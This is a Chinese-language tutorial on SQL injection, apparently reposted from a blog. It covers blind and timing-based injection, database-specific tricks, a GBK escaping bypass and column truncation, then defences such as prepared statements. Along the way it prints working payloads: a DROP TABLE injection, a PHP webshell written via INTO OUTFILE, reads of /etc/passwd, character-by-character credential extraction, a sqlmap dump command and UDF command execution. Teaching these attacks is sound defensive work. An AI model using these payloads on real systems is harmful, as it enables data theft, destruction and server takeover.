注入***的本质,是把用户输入的数据当做代码执行。这里有两个关键条件,第一是用户能够控制输入;第二是原本程序要执行的代码,拼接了用户输入的数据。
1、SQL注入
一个SQL注入的典型的例子:
var ShipCity; Shipcity = Request.form("ShipCity") var sql = "selelct * from OrdersTable where ShipCity = ' " + ShipCity + " ' " |
变量ShipCity的值由用户提交,假如用户提交一段有语义的SQL语句,比如:
Beijing;drop table OrdersTable-- |
那么SQL语句在实际执行时如下:
select * from OrdersTable where ShipCity = 'Beijing';drop table OrdersTable-- |
原本正常执行的查询语句,变成了查询之后,再执行一个drop表得操作。
1.1、盲注
盲注就是在服务器没有错误回显时完成的注入***。
最常用的盲注验证方式是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否被执行。
比如,一个应用的URL如下:
http://newspaper.com/items.php?id=2 |
执行的SQL语句为:
select title,description,body from items where id = 2 |
如果***者构造如下的条件语句:
http://newspaper.com/items.php?id=2 and 1=2 |
实际执行的SQL语句为:
select title,description,body from items where id = 2 and 1 = 2 |
因为1=2永远都是个假命题,所以这条SQL语句的and条件用户无法成立。对于web应用来说,也不会返回结果给用户,***者看到的页面结果将为空或者是一个出错的页面
为了进一步确认注入是否存在,***者可以继续构造如下请求:
http://newspaper.com/items.php?id=2 and 1=1 |
如果页面页面正常返回了,则说明SQL语句的and成功执行,那么就可以判断id参数是否存在SQL漏洞了。
1.2、Timing Attack
在mysql中有一个BENCHMARK()函数,它是用于测试函数性能的,它有两个参数:
BENCHMARK(count,expr) |
函数执行的结果,是将表达式expr执行count次,比如:
mysql > SELECT BENCHMARK(1000000,ENCODE('hello','goodbye')); |
这里将ENCODE('hello','goodbye')执行了1000000次。
因此,利用BENCHMARK函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断出注入语句是否执行成功。这个技巧在盲注中被称为Timing Attack。
***者接下来要实施的就是利用Timing Attack完成这次***,比如构造的***参数id值为:
1170 union select if(substring(current,1,1) = char(119),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl; |
代码注解:
union:用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行,内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,UNION 结果集中的列名总是等于第一个 SELECT 语句中的列名。同时,每条 SELECT 语句中的列的顺序必须相同。 union all:不消除重复行 select if(expr1,expr2,expr3):如果 expr1 是true,则返回expr2, 否则返回expr3。 select database():查看当前数据库,如果当前用户登录,没有切换到任何数据库下,则返回null。 其他函数: system_user():数据库的系统用户 current_user():当前登录该库用户 last_insert_id():最后插入数据库的ID |
这段payload判断库名的第一个字母是否为char(119),即小写w。如果判断结果为真,则会通过benchmark()函数造成较长延时;如果不为真,则该语句将很快执行。***者遍历所有字母,直到将整个数据库名全部验证完成为止。
如果当前数据库用户(current_user)具有写权限,那么***者可以将信息写入本地磁盘。如:
1170 union all select table_name,table_type,engin from information_schema.tables where table_schema = 'mysql' order by table_name desc into outfile '/path/shema.txt' |
此外,通过dump文件的方法,还可以写入一个webshell:
1170 union select "<? system($_REQUEST['cmd']); ?>",2,3,4 into outfile "/path/c.php" -- |
Timing Attack是盲注的一种高级技巧。不同的数据库中,都有类似于BENCHMARK()的函数,可以被Timing Attack所利用。
Mysql :BENCHMARK(1000000,md5(1)) or sleep(5)
PostgreSQL : PG_SLEEP(5) or GENERATE_SERIES(1,1000000)
MS SQL Sever : WAITFOR DELAY '0:0:5'
2、数据库***技巧
SQL注入是基于数据库的一种***。不同的数据库有不同的功能、不同的语法和函数,因此针对不同的数据库,sql注入的技巧也有所不同。
2.1、常见的***技巧
下面这段payload,则是利用union select来分别确认表名admin是否存在,列名passwd是否存在:
id=5 union all select 1,2,3 from admin id=5 union all select 1,2,passwd from adin |
进一步,想要猜解出username和password具体的值:
id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 64 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 96 /*ret true*/ id=5 and ascii(substring( (select concat(username,03xa,passwd) from users limit 0,1),1,1) ) > 100 /*ret true*/ ... |
代码注解:
concat: 用于将多个字符串连接成一个字符串 substring: 字符截取 limit: 用于强制 SELECT 语句返回指定的记录数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目 |
这个过程非常繁琐,sqlmap.py(http://sqlmap.sourceforge.net)是一个非常好的自动化注入工具:
$ python sqlmap.py -u "http://a.com/test.php?id=1" ---dump -T users |
在注入的过程中,常常会用到一些写文件的技巧。比如在mysql中,就可以通过load_file()读取系统文件,并通过into dumpfile写入本地文件。所以限制当前数据库用户读写响应文件或目录的权限也是安全防御的手段之一。
union select 1,2 load_file('/etc/passwd'),1,1; create table potatoes(line blob); union select 1,1,hex(load_file('/etc/passwd')),1,1 into dumpfile '/path/patatoes'; load data infile '/path/patatoes' into table potaboes; |
除了使用into dumpfile,还可以使用into outfile,两者的区别是dumpfile适用于二进制文件,而outfile则更适用于文本文件。
2.2、命令执行
在mysql中,除了可以通过导出webshell间接地执行命令之外,还可以利用“用户自定义函数”技巧,即UDF(User-Defined Function)来执行命令。一般数据库中都支持导入一个共享库文件作为自定义函数。
有一些UDF在mysql 5之后被限制了,后来安全这发现lib_mysqludf_sys提供的几个函数可以执行系统命令:
sys_eval:执行任意命令,并将结果输出
sys_exec:执行任意命令,并将退出码返回
sys_get:获取一个环境变量
sys_set:创建和修改一个环境变量
lib_mysqludf_sys使用方法如下:
$ wget --no-check-certifile https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz $ tar xzvf lib_mysqludf_sys_0.0.3.tar.gz $ cd lib_mysqludf_sys_0.0.3 $ sudo ./install.sh #后面就可以使用了 $ mysql -u root -p mysql mysql> select sys_eval('id') |
自动化注入工具sqlmap已经集成了此功能。
2.3、编码问题
注入***中尝尝会使用到单引号、双引号等特殊字符。在应用中,开发者为了安全,经常会使用转义字符"\"来转移这些字符。但当数据库使用了"宽字符集"时,可能会产生一些意想不到的漏洞。比如,当Mysql使用了GBK编码时:
0x 5c = \
0x 27 = '
0x bf 5c = 縗
0x bf 27 = ‘
假如***者输入0xbf27 or 1=1
即:
‘ or 1=1
经过转义后会变成0xbf5c27("\"的ascii码为0x5c),但0xbf5c又是另一个字符:
0x bf 5c = 縗
因此原本存在的转义符"\",在数据库中被吃掉了。
要解决这种问题,需要统一数据库、操作系统、web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为utf-8是一个很好的方法。
2.4、SQL Column Truncation
在mysql配置选项中,有一个sql_mode选项。当该选项值为default时,即没有开启STRICT_ALL_TABLES选项,此时如果插入一个超长值只会提示warning,而不是error,这会导致一些截断问题。
如:
insert into test('username','passwd') values ("admin x","123456") |
当关闭了STRICT_ALL_TABLES选项后,以上语句只是警告warning,但是语句仍能执行成,但是因为username值超过了字段设置的长度,会截断多余的部分,最后插入的值可能是
username = "admin" passwd = "123456" |
这种情况可能导致同时存在两个admin用户,***者也可以通过该用户获取admin权限
3、SQL注入防御
SQL注入防御常常会走入误区。比如只对用户输入做一些escape处理,这是不够的。参考如下代码:
$sql = "select id,name,mail,cv,blog,twitter from register where id =".mysql_real_escape_string($_GET['id']); |
当***者构造如下的代码时:
http://test.com/user.php?id=12,and,1=0,union,select,1,concat(user,0x3a,password),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1) |
以上代码将绕过mysql_real_escape_string,注入成功
代码注解:
0x3a: 16进制转化成10进制为58,58的ascii值为“ : ” concat: 组合username和password的查询结果 substring_index(str,delim,count): str:被截取字段 delim:分割符/关键字,char(64)表示ascii值 ”@“ count:分割的段落 例:select substring_index("root@localhost","@",1)结果为root select substring_index("root@localhost","@",-1)结果为localhost |
因为mysql_real_escape_string() 函数转j仅仅会转义
\n
\r
\
'
"
\x1a
这几个字符,在本例SQL注入所使用的payload完全没有用到
那是不是增加一些过滤字符就可以了那?比如包括"空格"、”括号“在内的一些特殊字符,以及一些SQL保留字,比如select。其实这都不是根本的解决问题,因为***者总能找到没有转义的字符,还有一些保留字可能也是用户认为的合法的输入。
3.1、使用预编译语句
一般来说,防御SQL注入的最佳方式,就是使用预编译语句,绑定变量。比如在java中使用预编译的SQL语句:
string custname = request.getParameter("customername"); string query = "select account_balance from user_data where where user_name = ? "; PreparedStatement pstmt = connection.PrepareStatement(query); psmt.setString(1,custname) //给变量赋值 ResultSet results = pstmt.executeQuery(); |
使用预编译后,SQL语句的语义不会发生改变。在SQL语句中,变量用?表示,***者无法改变SQL的结构。
在不同的语言中,都有着使用预编译语句的方法:
Java EE - PrepareStatement() .NET - SqlCommand() or OleDbCommand() PHP - bindParam SQLite - sqlite3_prepare() |
3.2、检查数据类型
通过限制用户输入的数据类型,在很大程度上也能对抗SQL注入。比如定义数据类型只能为integer;用户在输入邮箱时,必须按照邮箱的格式;输入时间、日期必须严格按照时间、日期的格式等等。
3.3、使用安全函数
一般可以根据数据库厂商做出的指导实现,比如mysql提供了一些编码字符的思路。同时也可以参考OWASP ESAPI中的实现。这个函数是由安全专家编写,更值得信赖。
ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam) |
最后,从数据库自身的角度,应该使用最小权限原则。
4、其他注入***
4.1、XML注入
XML注入需要满足两大条件:用户能控制数据的输入;程序拼凑了数据。在修补方案上,与HTML一样,对用户输入数据中的包含的"语义本身的保留字符"进行转义即可。
4.2、代码注入
对抗代码注入、命令注入时,需要禁用eval()、system()等可以执行命令的函数。如果一定要使用这些函数,则需要对用户的输入进行数据处理。此外在PHP/JSP中避免动态include远程文件,或者安全的处理掉它。
4.3、CRLF注入
CRLF是两个字符:CR是Carriage Return(ASCII 13,\r);LF是Line Feed(ASCII 10,\n)。\r\n这两个字符是用于表示换行的。常被用作不同语义之间的分隔符。因此通过注入CRLF字符,就可以改变原来的语义。
对抗CRLF的方法非常简单,只需要处理好\r \n两个保留字符即可。
转载于:https://blog.51cto.com/tsing/1970167